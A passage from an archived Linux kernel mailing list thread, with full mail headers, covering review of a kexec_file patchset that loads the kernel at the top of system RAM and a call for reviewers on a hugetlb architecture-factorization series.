on the todo list for a while. ACPI also has some tree walking
functions (drivers/acpi/acpica/pstree.c). Perhaps there should be a
common tree struct and helpers defined either on top of list_head or a
~~~~~
new struct if that saves some size.

> 
> Is that sufficient?  Can we instead simplify their lives by providing
> better documentation or informative printks or better Kconfig text,
> etc?
> 
> And who *are* the people who are performing this configuration?  Random
> system administrators?  Linux distro engineers?  If the latter then
> they presumably aren't easily confused!

Kexec was invented for kernel developer to speed up their kernel
rebooting. Now high end sever admin, kernel developer and QE are also
keen to use it to reboot large box for faster feature testing, bug
debugging. Kernel dev could know this well, about kernel loading
position, admin or QE might not be aware of it very well. 

> 
> In other words, I'm trying to understand how much benefit this patchset
> will provide to our users as a whole.

Understood. The list_head replacing patch truly involes too many code
changes, it's risky. I am willing to try any idea from reviewers, won't
persuit they have to be accepted finally. If don't have a try, we don't
know what it looks like, and what impact it may have. I am fine to take
AKASHI's simple version of walk_system_ram_res_rev() to lower risk, even
though it could be a little bit low efficient.

Thanks
Baoquan

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 1/4] resource: Move reparent_resources() to
 kernel/resource.c and make it public
Date: Thu, 19 Jul 2018 23:18:46 +0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20180719151846.GC7147@localhost.localdomain>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-2-bhe@redhat.com>
 <CAHp75VdO88ydJQ9GHdaDUmAmzL6QHR=US6JiXZ1R_EEA-xWR1Q@mail.gmail.com>
 <CAHp75Vf2yEwHhEhhQH2XN+pOQ=-skiAHZ=FgLnfVV8vcm59qeQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532013414 11712 195.159.176.226 (19 Jul 2018 15:16:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jul 2018 15:16:54 +0000 (UTC)
User-Agent: Mutt/1.9.1 (2017-09-22)
Cc: Nicolas Pitre <nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org>, brijesh.singh-5C7GfCeVMHo@public.gmane.org,
 devicetree <devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>, David Airlie <airlied-cv59FeDIM0c@public.gmane.org>,
 linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 Max Filippov <jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, Paul Mackerras <paulus-eUNUBHrolfbYtjvyW6yDsg@public.gmane.org>,
 baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, KY Srinivasan <kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Frank Rowand <frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 Lorenzo Pieralisi <lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org>,
 Stephen Hemminger <sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 Michael Ellerman <mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org>,
 Patrik Jakobsson <patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>,
 linux-input <linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
 Gustavo Padovan <gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org>, Borislav Petkov <bp-l3A5Bk7waGM@public.gmane.org>,
 Dave Young <dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>, Tom Lendacky <thomas.lendacky-5C7GfCeVMHo@public.gmane.org>,
 Haiyang Zhang <haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org>,
 Maarten Lankhorst <maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org>,
 Josh Triplett <josh@joshtri
To: Andy Shevchenko <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 19 17:16:46 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fgAfa-0002o4-Sc
	for gln-linux-nvdimm@m.gmane.org; Thu, 19 Jul 2018 17:16:43 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id AB6D02098EA69;
	Thu, 19 Jul 2018 08:18:53 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=66.187.233.73; helo=mx1.redhat.com; envelope-from=bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org;
 receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mx1.redhat.com (mx3-rdu2.redhat.com [66.187.233.73])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id A67D02098C8C9
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 19 Jul 2018 08:18:52 -0700 (PDT)
Original-Received: from smtp.corp.redhat.com (int-mx04.intmail.prod.int.rdu2.redhat.com
 [10.11.54.4])
 (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits))
 (No client certificate requested)
 by mx1.redhat.com (Postfix) with ESMTPS id 737A187AC4;
 Thu, 19 Jul 2018 15:18:51 +0000 (UTC)
Original-Received: from localhost (ovpn-8-16.pek2.redhat.com [10.72.8.16])
 by smtp.corp.redhat.com (Postfix) with ESMTPS id 3FA482026D6B;
 Thu, 19 Jul 2018 15:18:49 +0000 (UTC)
Content-Disposition: inline
In-Reply-To: <CAHp75Vf2yEwHhEhhQH2XN+pOQ=-skiAHZ=FgLnfVV8vcm59qeQ-JsoAwUIsXosN+BqQ9rBEUg@public.gmane.org>
X-Scanned-By: MIMEDefang 2.78 on 10.11.54.4
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.5.16
 (mx1.redhat.com [10.11.55.1]); Thu, 19 Jul 2018 15:18:51 +0000 (UTC)
X-Greylist: inspected by milter-greylist-4.5.16 (mx1.redhat.com [10.11.55.1]);
 Thu, 19 Jul 2018 15:18:51 +0000 (UTC) for IP:'10.11.54.4'
 DOMAIN:'int-mx04.intmail.prod.int.rdu2.redhat.com'
 HELO:'smtp.corp.redhat.com' FROM:'bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org' RCPT:''
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11077 gmane.linux.drivers.devicetree:280256 gmane.linux.kernel.pci:74121 gmane.linux.kernel.input:62042 gmane.linux.ports.parisc:28798 gmane.linux.kernel:2825035 gmane.linux.ports.ppc64.devel:160234
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11077>

On 07/18/18 at 07:37pm, Andy Shevchenko wrote:
> On Wed, Jul 18, 2018 at 7:36 PM, Andy Shevchenko
> <andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:
> > On Wed, Jul 18, 2018 at 5:49 AM, Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> >> reparent_resources() is duplicated in arch/microblaze/pci/pci-common.c
> >> and arch/powerpc/kernel/pci-common.c, so move it to kernel/resource.c
> >> so that it's shared.
> 
> >> + * Returns 0 on success, -ENOTSUPP if child resource is not completely
> >> + * contained by 'res', -ECANCELED if no any conflicting entry found.
> 
> You also can refer to constants by prefixing them with %, e.g. %-ENOTSUPP.
> But this is up to you completely.

Thanks, will fix when repost. 

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org>
Newsgroups: gmane.linux.hardware.nvdimm,gmane.linux.drivers.devicetree,gmane.linux.kernel.pci,gmane.linux.kernel.input,gmane.linux.ports.parisc,gmane.linux.kernel.kexec,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v7 4/4] kexec_file: Load kernel at top of system RAM if
 required
Date: Thu, 19 Jul 2018 12:44:44 -0700
Lines: 91
Approved: news@gmane.org
Message-ID: <20180719124444.c893712cca2e6f2649d1bc0d@linux-foundation.org>
References: <20180718024944.577-1-bhe@redhat.com>
 <20180718024944.577-5-bhe@redhat.com>
 <20180718153326.b795e9ea7835432a56cd7011@linux-foundation.org>
 <20180719151753.GB7147@localhost.localdomain>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532029369 27967 195.159.176.226 (19 Jul 2018 19:42:49 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 19 Jul 2018 19:42:49 +0000 (UTC)
Cc: nicolas.pitre-QSEj5FYQhm4dnm+yROfE0A@public.gmane.org, brijesh.singh-5C7GfCeVMHo@public.gmane.org, devicetree-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
 airlied-cv59FeDIM0c@public.gmane.org, linux-pci-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, richard.weiyang-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 jcmvbkbc-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, baiyaowei-0p4V/sDNsUmm0O/7XYngnFaTQe2KTcn/@public.gmane.org, kys-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 frowand.list-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, lorenzo.pieralisi-5wv7dgnIgG8@public.gmane.org,
 sthemmin-0li6OtcxBFHby3iVrkZq2A@public.gmane.org, linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org,
 patrik.r.jakobsson-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, andy.shevchenko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
 linux-input-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gustavo-THi1TnShQwVAfugRpC6u6w@public.gmane.org, bp-l3A5Bk7waGM@public.gmane.org,
 dyoung-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, thomas.lendacky-5C7GfCeVMHo@public.gmane.org, haiyangz-0li6OtcxBFHby3iVrkZq2A@public.gmane.org,
 maarten.lankhorst-VuQAYsv1563Yd54FQh9/CA@public.gmane.org, josh-iaAMLnmF4UmaiuxdJuQwMA@public.gmane.org, jglisse-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
 robh+dt-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, seanpaul-F7+t8E8rja9g9hUCZPvPmw@public.gmane.org, bhelgaas-hpIqsD4AKlfQT0dZR+AlfA@public.gmane.org,
 yinghai-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org, jonathan.derrick-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org, chris-YvXeqwSYzG2sTnJN9+BGXg@public.gmane.org,
 monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
 dmitry.torokhov-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, kexec-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
 linux-kernel@vge
To: Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org>
Original-X-From: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org Thu Jul 19 21:42:40 2018
Return-path: <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Envelope-to: gln-linux-nvdimm@m.gmane.org
Original-Received: from ml01.01.org ([198.145.21.10])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>)
	id 1fgEox-00074F-EE
	for gln-linux-nvdimm@m.gmane.org; Thu, 19 Jul 2018 21:42:39 +0200
Original-Received: from [127.0.0.1] (localhost [IPv6:::1])
	by ml01.01.org (Postfix) with ESMTP id AAA362098EA83;
	Thu, 19 Jul 2018 12:44:49 -0700 (PDT)
X-Original-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Delivered-To: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Received-SPF: Pass (sender SPF authorized) identity=mailfrom;
 client-ip=140.211.169.12; helo=mail.linuxfoundation.org;
 envelope-from=akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org; receiver=linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org 
Original-Received: from mail.linuxfoundation.org (mail.linuxfoundation.org
 [140.211.169.12])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by ml01.01.org (Postfix) with ESMTPS id 831A821B02845
 for <linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>; Thu, 19 Jul 2018 12:44:48 -0700 (PDT)
Original-Received: from localhost.localdomain (c-24-4-125-7.hsd1.ca.comcast.net
 [24.4.125.7])
 by mail.linuxfoundation.org (Postfix) with ESMTPSA id 88114A73;
 Thu, 19 Jul 2018 19:44:45 +0000 (UTC)
In-Reply-To: <20180719151753.GB7147-bi+AKbBUZKY6gyzm1THtWbp2dZbC/Bob@public.gmane.org>
X-Mailer: Sylpheed 3.5.1 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
X-BeenThere: linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
X-Mailman-Version: 2.1.27
Precedence: list
List-Id: "Linux-nvdimm developer list." <linux-nvdimm.lists.01.org>
List-Unsubscribe: <https://lists.01.org/mailman/options/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.01.org/pipermail/linux-nvdimm/>
List-Post: <mailto:linux-nvdimm-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
List-Help: <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=help>
List-Subscribe: <https://lists.01.org/mailman/listinfo/linux-nvdimm>,
 <mailto:linux-nvdimm-request-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org?subject=subscribe>
Errors-To: linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org
Original-Sender: "Linux-nvdimm" <linux-nvdimm-bounces-hn68Rpc1hR1g9hUCZPvPmw@public.gmane.org>
Xref: news.gmane.org gmane.linux.hardware.nvdimm:11085 gmane.linux.drivers.devicetree:280297 gmane.linux.kernel.pci:74129 gmane.linux.kernel.input:62043 gmane.linux.ports.parisc:28799 gmane.linux.kernel.kexec:21231 gmane.linux.kernel:2825235 gmane.linux.ports.ppc64.devel:160237
Archived-At: <http://permalink.gmane.org/gmane.linux.hardware.nvdimm/11085>

On Thu, 19 Jul 2018 23:17:53 +0800 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:

> Hi Andrew,
> 
> On 07/18/18 at 03:33pm, Andrew Morton wrote:
> > On Wed, 18 Jul 2018 10:49:44 +0800 Baoquan He <bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org> wrote:
> > 
> > > For kexec_file loading, if kexec_buf.top_down is 'true', the memory which
> > > is used to load kernel/initrd/purgatory is supposed to be allocated from
> > > top to down. This is what we have been doing all along in the old kexec
> > > loading interface and the kexec loading is still default setting in some
> > > distributions. However, the current kexec_file loading interface doesn't
> > > do like this. The function arch_kexec_walk_mem() it calls ignores checking
> > > kexec_buf.top_down, but calls walk_system_ram_res() directly to go through
> > > all resources of System RAM from bottom to up, to try to find memory region
> > > which can contain the specific kexec buffer, then call locate_mem_hole_callback()
> > > to allocate memory in that found memory region from top to down. This brings
> > > confusion especially when KASLR is widely supported , users have to make clear
> > > why kexec/kdump kernel loading position is different between these two
> > > interfaces in order to exclude unnecessary noises. Hence these two interfaces
> > > need be unified on behaviour.
> > 
> > As far as I can tell, the above is the whole reason for the patchset,
> > yes?  To avoid confusing users.
> 
> 
> In fact, it's not just trying to avoid confusing users. Kexec loading
> and kexec_file loading are just do the same thing in essence. Just we
> need do kernel image verification on uefi system, have to port kexec
> loading code to kernel. 
> 
> Kexec has been a formal feature in our distro, and customers owning
> those kind of very large machine can make use of this feature to speed
> up the reboot process. On uefi machine, the kexec_file loading will
> search place to put kernel under 4G from top to down. As we know, the
> 1st 4G space is DMA32 ZONE, dma, pci mmcfg, bios etc all try to consume
> it. It may have possibility to not be able to find a usable space for
> kernel/initrd. From the top down of the whole memory space, we don't
> have this worry. 
> 
> And at the first post, I just posted below with AKASHI's
> walk_system_ram_res_rev() version. Later you suggested to use
> list_head to link child sibling of resource, see what the code change
> looks like.
> http://lkml.kernel.org/r/20180322033722.9279-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
> 
> Then I posted v2
> http://lkml.kernel.org/r/20180408024724.16812-1-bhe-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org
> Rob Herring mentioned that other components which has this tree struct
> have planned to do the same thing, replacing the singly linked list with
> list_head to link resource child sibling. Just quote Rob's words as
> below. I think this could be another reason.
> 
> ~~~~~ From Rob
> The DT struct device_node also has the same tree structure with
> parent, child, sibling pointers and converting to list_head had been
> on the todo list for a while. ACPI also has some tree walking
> functions (drivers/acpi/acpica/pstree.c). Perhaps there should be a
> common tree struct and helpers defined either on top of list_head or a
> ~~~~~
> new struct if that saves some size.

Please let's get all this into the changelogs?

> > 
> > Is that sufficient?  Can we instead simplify their lives by providing
> > better documentation or informative printks or better Kconfig text,
> > etc?
> > 
> > And who *are* the people who are performing this configuration?  Random
> > system administrators?  Linux distro engineers?  If the latter then
> > they presumably aren't easily confused!
> 
> Kexec was invented for kernel developer to speed up their kernel
> rebooting. Now high end sever admin, kernel developer and QE are also
> keen to use it to reboot large box for faster feature testing, bug
> debugging. Kernel dev could know this well, about kernel loading
> position, admin or QE might not be aware of it very well. 
> 
> > 
> > In other words, I'm trying to understand how much benefit this patchset
> > will provide to our users as a whole.
> 
> Understood. The list_head replacing patch truly involes too many code
> changes, it's risky. I am willing to try any idea from reviewers, won't
> persuit they have to be accepted finally. If don't have a try, we don't
> know what it looks like, and what impact it may have. I am fine to take
> AKASHI's simple version of walk_system_ram_res_rev() to lower risk, even
> though it could be a little bit low efficient.

The larger patch produces a better result.  We can handle it ;)

From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Fri, 20 Jul 2018 18:37:51 +0000
Lines: 67
Approved: news@gmane.org
Message-ID: <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532111767 4382 195.159.176.226 (20 Jul 2018 18:36:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 20 Jul 2018 18:36:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Kravetz <mike.kravetz@oracle.com>
To: Michal Hocko <mhocko@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Jul 20 20:36:00 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fgaFy-0000vS-Ox
	for glk-linux-kernel-4@m.gmane.org; Fri, 20 Jul 2018 20:35:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388332AbeGTT1h (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Fri, 20 Jul 2018 15:27:37 -0400
Original-Received: from relay5-d.mail.gandi.net ([217.70.183.197]:59203 "EHLO
        relay5-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S2388043AbeGTT1g (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 20 Jul 2018 15:27:36 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay5-d.mail.gandi.net (Postfix) with ESMTPSA id 6B7D41C0002;
        Fri, 20 Jul 2018 18:37:52 +0000 (UTC)
In-Reply-To: <20180709141621.GD22297@dhcp22.suse.cz>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2826528 gmane.linux.ports.arm.kernel:664909 gmane.linux.ports.ia64:28940 gmane.linux.ports.mips.general:65543 gmane.linux.ports.parisc:28800 gmane.linux.ports.ppc64.devel:160276 gmane.linux.ports.sh.devel:57207 gmane.linux.ports.sparc:28102 gmane.linux.kernel.cross-arch:45431
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2826528>

Does anyone have any suggestion about those patches ?

On 07/09/2018 02:16 PM, Michal Hocko wrote:
> [CC hugetlb guys - http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>
> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>> In order to reduce copy/paste of functions across architectures and then
>> make riscv hugetlb port (and future ports) simpler and smaller, this
>> patchset intends to factorize the numerous hugetlb primitives that are
>> defined across all the architectures.
>>
>> Except for prepare_hugepage_range, this patchset moves the versions that
>> are just pass-through to standard pte primitives into
>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>
>> s390 architecture has not been tackled in this serie since it does not
>> use asm-generic/hugetlb.h at all.
>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>
>> This patchset has been compiled on x86 only.
>>
>> Changelog:
>>
>> v4:
>>    Fix powerpc build error due to misplacing of #include
>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>    pointed by Christophe Leroy.
>>
>> v1, v2, v3:
>>    Same version, just problems with email provider and misuse of
>>    --batch-size option of git send-email
>>
>> Alexandre Ghiti (11):
>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>    hugetlb: Introduce generic version of set_huge_pte_at
>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>    hugetlb: Introduce generic version of huge_pte_none
>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>    hugetlb: Introduce generic version of huge_ptep_get
>>
>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>   arch/arm/include/asm/hugetlb.h               | 33 +----------
>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>   arch/x86/include/asm/hugetlb.h               | 72 +----------------------
>>   include/asm-generic/hugetlb.h                | 88 +++++++++++++++++++++++++++-
>>   15 files changed, 143 insertions(+), 384 deletions(-)
>>
>> -- 
>> 2.16.2



From - Thu Nov 08 21:41:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Fri, 20 Jul 2018 17:24:12 -0700
Lines: 73
Approved: news@gmane.org
Message-ID: <75195a7d-3d0f-4e55-92cc-4ad772683c75@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
